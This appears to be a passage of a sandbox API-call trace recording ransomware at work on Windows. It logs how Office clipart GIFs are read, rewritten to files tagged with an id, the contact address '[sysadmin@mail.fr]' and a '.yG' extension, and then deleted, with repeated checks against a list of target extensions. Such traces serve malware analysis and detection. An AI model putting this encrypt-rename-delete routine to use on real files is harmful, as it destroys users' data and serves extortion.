	[0051.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.696] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.696] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.697] GetLastError () returned 0x0
	[0051.697] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0051.771] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0051.771] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.772] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.772] SetEndOfFile (hFile=0x34c) returned 1
	[0051.772] CloseHandle (hObject=0x34c) returned 1
	[0051.772] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.772] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.773] CloseHandle (hObject=0x2e4) returned 1
	[0051.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1
	[0051.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.774] lstrlenW (lpString=".doc") returned 4
	[0051.774] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.774] lstrlenW (lpString=".docx") returned 5
	[0051.774] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.774] lstrlenW (lpString=".pdf") returned 4
	[0051.774] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.774] lstrlenW (lpString=".xls") returned 4
	[0051.774] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.774] lstrlenW (lpString=".xlsx") returned 5
	[0051.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.774] lstrlenW (lpString=".ppt") returned 4
	[0051.774] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.774] lstrlenW (lpString=".zip") returned 4
	[0051.774] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.774] lstrlenW (lpString=".rar") returned 4
	[0051.774] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.774] lstrlenW (lpString=".bz2") returned 4
	[0051.774] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.774] lstrlenW (lpString=".7z") returned 3
	[0051.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.774] lstrlenW (lpString=".dbf") returned 4
	[0051.774] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".1cd") returned 4
	[0051.775] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".jpg") returned 4
	[0051.775] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".doc") returned 4
	[0051.775] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.775] lstrlenW (lpString=".docx") returned 5
	[0051.775] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.775] lstrlenW (lpString=".pdf") returned 4
	[0051.775] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.775] lstrlenW (lpString=".xls") returned 4
	[0051.775] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.775] lstrlenW (lpString=".xlsx") returned 5
	[0051.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.775] lstrlenW (lpString=".ppt") returned 4
	[0051.775] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".zip") returned 4
	[0051.775] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.775] lstrlenW (lpString=".rar") returned 4
	[0051.775] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.775] lstrlenW (lpString=".bz2") returned 4
	[0051.775] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.775] lstrlenW (lpString=".7z") returned 3
	[0051.775] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".dbf") returned 4
	[0051.775] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".1cd") returned 4
	[0051.775] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0051.775] lstrlenW (lpString=".jpg") returned 4
	[0051.776] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.776] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.776] lstrlenW (lpString="AG00139_.GIF") returned 12
	[0051.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.776] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10607) returned 1
	[0051.776] CloseHandle (hObject=0x2e4) returned 1
	[0051.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220
	[0051.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.776] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.776] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.777] GetLastError () returned 0x0
	[0051.777] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x296f, lpOverlapped=0x0) returned 1
	[0051.797] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2970, lpOverlapped=0x0) returned 1
	[0051.798] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.798] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.798] SetEndOfFile (hFile=0x34c) returned 1
	[0051.798] CloseHandle (hObject=0x34c) returned 1
	[0051.799] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.799] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.800] CloseHandle (hObject=0x2e4) returned 1
	[0051.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1
	[0051.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.800] lstrlenW (lpString=".doc") returned 4
	[0051.800] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.800] lstrlenW (lpString=".docx") returned 5
	[0051.800] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.800] lstrlenW (lpString=".pdf") returned 4
	[0051.800] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".xls") returned 4
	[0051.801] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".xlsx") returned 5
	[0051.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.801] lstrlenW (lpString=".ppt") returned 4
	[0051.801] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.801] lstrlenW (lpString=".zip") returned 4
	[0051.801] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".rar") returned 4
	[0051.801] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".bz2") returned 4
	[0051.801] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.801] lstrlenW (lpString=".7z") returned 3
	[0051.801] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.801] lstrlenW (lpString=".dbf") returned 4
	[0051.801] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.801] lstrlenW (lpString=".1cd") returned 4
	[0051.801] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.801] lstrlenW (lpString=".jpg") returned 4
	[0051.801] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.801] lstrlenW (lpString=".doc") returned 4
	[0051.801] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.801] lstrlenW (lpString=".docx") returned 5
	[0051.801] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.801] lstrlenW (lpString=".pdf") returned 4
	[0051.801] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".xls") returned 4
	[0051.801] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.801] lstrlenW (lpString=".xlsx") returned 5
	[0051.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.801] lstrlenW (lpString=".ppt") returned 4
	[0051.802] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.802] lstrlenW (lpString=".zip") returned 4
	[0051.802] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString=".rar") returned 4
	[0051.802] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.802] lstrlenW (lpString=".bz2") returned 4
	[0051.802] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString=".7z") returned 3
	[0051.802] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.802] lstrlenW (lpString=".dbf") returned 4
	[0051.802] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.802] lstrlenW (lpString=".1cd") returned 4
	[0051.802] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0051.802] lstrlenW (lpString=".jpg") returned 4
	[0051.802] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.802] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.802] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0051.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.802] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5315) returned 1
	[0051.802] CloseHandle (hObject=0x2e4) returned 1
	[0051.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220
	[0051.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.803] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.803] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.803] GetLastError () returned 0x0
	[0051.803] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x14c3, lpOverlapped=0x0) returned 1
	[0051.870] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0051.871] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.871] WriteFile (in: hFile=0x34c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.871] SetEndOfFile (hFile=0x34c) returned 1
	[0051.874] CloseHandle (hObject=0x34c) returned 1
	[0051.878] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.879] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.885] CloseHandle (hObject=0x2e4) returned 1
	[0051.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1
	[0051.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.889] lstrlenW (lpString=".doc") returned 4
	[0051.889] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.889] lstrlenW (lpString=".docx") returned 5
	[0051.890] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.890] lstrlenW (lpString=".pdf") returned 4
	[0051.890] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString=".xls") returned 4
	[0051.890] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString=".xlsx") returned 5
	[0051.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.890] lstrlenW (lpString=".ppt") returned 4
	[0051.890] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.890] lstrlenW (lpString=".zip") returned 4
	[0051.890] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString=".rar") returned 4
	[0051.890] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString=".bz2") returned 4
	[0051.890] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.890] lstrlenW (lpString=".7z") returned 3
	[0051.890] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.890] lstrlenW (lpString=".dbf") returned 4
	[0051.890] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.890] lstrlenW (lpString=".1cd") returned 4
	[0051.890] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.890] lstrlenW (lpString=".jpg") returned 4
	[0051.890] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.890] lstrlenW (lpString=".doc") returned 4
	[0051.890] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.890] lstrlenW (lpString=".docx") returned 5
	[0051.890] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.890] lstrlenW (lpString=".pdf") returned 4
	[0051.890] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.890] lstrlenW (lpString=".xls") returned 4
	[0051.891] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.891] lstrlenW (lpString=".xlsx") returned 5
	[0051.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.891] lstrlenW (lpString=".ppt") returned 4
	[0051.891] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.891] lstrlenW (lpString=".zip") returned 4
	[0051.891] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.891] lstrlenW (lpString=".rar") returned 4
	[0051.891] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.891] lstrlenW (lpString=".bz2") returned 4
	[0051.891] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.891] lstrlenW (lpString=".7z") returned 3
	[0051.891] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.891] lstrlenW (lpString=".dbf") returned 4
	[0051.891] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.891] lstrlenW (lpString=".1cd") returned 4
	[0051.891] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0051.891] lstrlenW (lpString=".jpg") returned 4
	[0051.891] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.891] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.891] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0051.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.893] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7583) returned 1
	[0051.893] CloseHandle (hObject=0x398) returned 1
	[0051.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220
